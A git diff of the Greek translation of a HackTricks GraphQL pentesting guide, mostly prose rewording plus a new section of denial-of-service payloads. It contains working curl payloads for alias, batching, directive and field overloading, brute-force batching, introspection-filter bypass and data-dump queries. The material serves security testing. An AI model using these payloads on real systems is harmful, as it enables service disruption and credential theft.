diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 82b266755..a2e5d607f 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,8 +1,8 @@ # GraphQL {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: ) @@ -184,13 +184,13 @@ name ![](<../../.gitbook/assets/image (363).png>) -Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές. +Εάν η αναγνώριση είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές. -### Querying +### Ερωτήσεις -Τώρα που ξέρουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**. +Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**. -Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag. +Στην αναγνώριση μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο σημαίας. ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) @@ -198,7 +198,7 @@ name ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>) -Μπορείτε να δείτε ότι τα αντικείμενα "_Flags_" αποτελούνται από **name** και **value**. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των σημαιών με το query: +Μπορείτε να δείτε ότι τα αντικείμενα "_Flags_" αποτελούνται από **όνομα** και **τιμή**. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των σημαίων με το query: ```javascript query={flags{name, value}} ``` @@ -235,13 +235,13 @@ query={hiddenFlags} Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_. -**Query string dump trick (thanks to @BinaryShadow\_)** +**Τέχνασμα εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)** -Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εκφορτώσει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο τύπου "**description**"_). +Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο τύπου "**description**"_). ### Αναζήτηση -Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων. +Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση**. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων. Μπορείτε να **αναζητήσετε** άτομα **με βάση** το **όνομα** και να λάβετε τα email τους: ```javascript @@ -322,7 +322,7 @@ rating ``` **Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.** -Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **persons** μαζί με τις συσχετίσεις τους με υπάρχοντες **friends** και **movies**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν τους συνδέσετε με το νεοδημιουργηθέν άτομο. +Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **persons** μαζί με τις συσχετίσεις τους με υπάρχοντες **friends** και **movies**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν άτομο. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -352,12 +352,12 @@ releaseYear ``` ### Directive Overloading -Όπως εξηγείται σε [**μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά**](https://www.landh.tech/blog/20240304-google-hack-50000/), η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκάσει τον διακομιστή να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS. +Όπως εξηγήθηκε σε [**μία από τις ευπάθειες που περιγράφονται σε αυτή την αναφορά**](https://www.landh.tech/blog/20240304-google-hack-50000/), η υπερφόρτωση εντολών σημαίνει την κλήση μιας εντολής ακόμη και εκατομμύρια φορές για να αναγκαστεί ο διακομιστής να σπαταλήσει λειτουργίες μέχρι να είναι δυνατόν να γίνει DoS. ### Batching brute-force σε 1 API request -Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλούν περισσότερα από ένα ζεύγη login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς. +Αυτή η πληροφορία ελήφθη από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ +Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς. Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο: @@ -369,15 +369,15 @@ releaseYear ## GraphQL Χωρίς Introspection -Όλο και περισσότερα **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος. +Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος. Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?). -### Παράκαμψη αμυνών introspection GraphQL +### Παράκαμψη αμυνών introspection του GraphQL -Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές: +Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές: ```bash # Example with newline to bypass { @@ -415,7 +415,7 @@ ws.send(JSON.stringify(graphqlMsg)); ``` ### **Ανακάλυψη Εκτεθειμένων Δομών GraphQL** -Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανώς **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι: +Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -441,7 +441,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Ως εκ τούτου, καθώς τα αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται **χωρίς προετοιμασία αιτημάτων**, είναι δυνατόν να **εκτελούνται** **αλλαγές** στο GraphQL εκμεταλλευόμενοι ένα CSRF. -Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν ιστό τρίτου μέρους σε αιτήματα GET. +Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET. Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.** @@ -449,9 +449,9 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). -## Υπαγωγή WebSocket σε άλλες τοποθεσίες στο GraphQL +## Υπαγωγή Cross-site WebSocket στο GraphQL -Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket σε άλλες τοποθεσίες για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL. +Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή Cross-site WebSocket για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL. Για περισσότερες πληροφορίες ελέγξτε: @@ -465,7 +465,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A Η τροποποίηση των μεταβλητών εισόδου του ερωτήματος θα μπορούσε να οδηγήσει σε ευαίσθητες λεπτομέρειες λογαριασμού [leaked](https://hackerone.com/reports/792927). -Η μετάλλαξη θα μπορούσε ακόμη να οδηγήσει σε κατάληψη λογαριασμού προσπαθώντας να τροποποιήσει δεδομένα άλλου λογαριασμού. +Η μετάλλαξη θα μπορούσε ακόμη και να οδηγήσει σε κατάληψη λογαριασμού προσπαθώντας να τροποποιήσει δεδομένα άλλου λογαριασμού. ```javascript { "operationName":"updateProfile", @@ -483,13 +483,13 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL -Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών παραδειγμάτων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα. +Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα. Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια ακούσια περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των αιτημάτων HTTP**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού. +Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού. -Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ψευδώνυμα ερωτημάτων για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα αίτημα HTTP, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα. +Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ψευδώνυμα ερωτημάτων για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -504,6 +504,82 @@ valid } } ``` +## DoS στο GraphQL + +### Υπερφόρτωση Ψευδωνύμων + +**Υπερφόρτωση Ψευδωνύμων** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλά ψευδώνυμα για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη: + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "Content-Type: application/json" \ +-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Για να μετριαστεί αυτό, εφαρμόστε όρια στον αριθμό των ψευδωνύμων, ανάλυση πολυπλοκότητας ερωτημάτων ή περιορισμό ρυθμού για να αποτρέψετε την κακή χρήση πόρων. + +### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** + +**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομάδα, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας. + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ +'https://example.com/graphql' +``` +{% endcode %} + +Σε αυτό το παράδειγμα, 10 διαφορετικά ερωτήματα ομαδοποιούνται σε ένα αίτημα, αναγκάζοντας τον διακομιστή να εκτελέσει όλα ταυτόχρονα. Εάν εκμεταλλευτεί με μεγαλύτερο μέγεθος ομαδοποίησης ή υπολογιστικά δαπανηρά ερωτήματα, μπορεί να υπερφορτώσει τον διακομιστή. + +### **Ευπάθεια Υπερφόρτωσης Οδηγιών** + +**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονική χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. + +{% code overflow="wrap" %} +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Σημειώστε ότι στο προηγούμενο παράδειγμα το `@aa` είναι μια προσαρμοσμένη οδηγία που **μπορεί να μην έχει δηλωθεί**. Μια κοινή οδηγία που συνήθως υπάρχει είναι **`@include`**: + +{% code overflow="wrap" %} +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Μπορείτε επίσης να στείλετε ένα ερώτημα introspection για να ανακαλύψετε όλες τις δηλωμένες οδηγίες: +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ +'https://example.com/graphql' +``` +Και μετά **χρησιμοποιήστε μερικά από τα προσαρμοσμένα**. + +### **Ευπάθεια Διπλασιασμού Πεδίου** + +**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 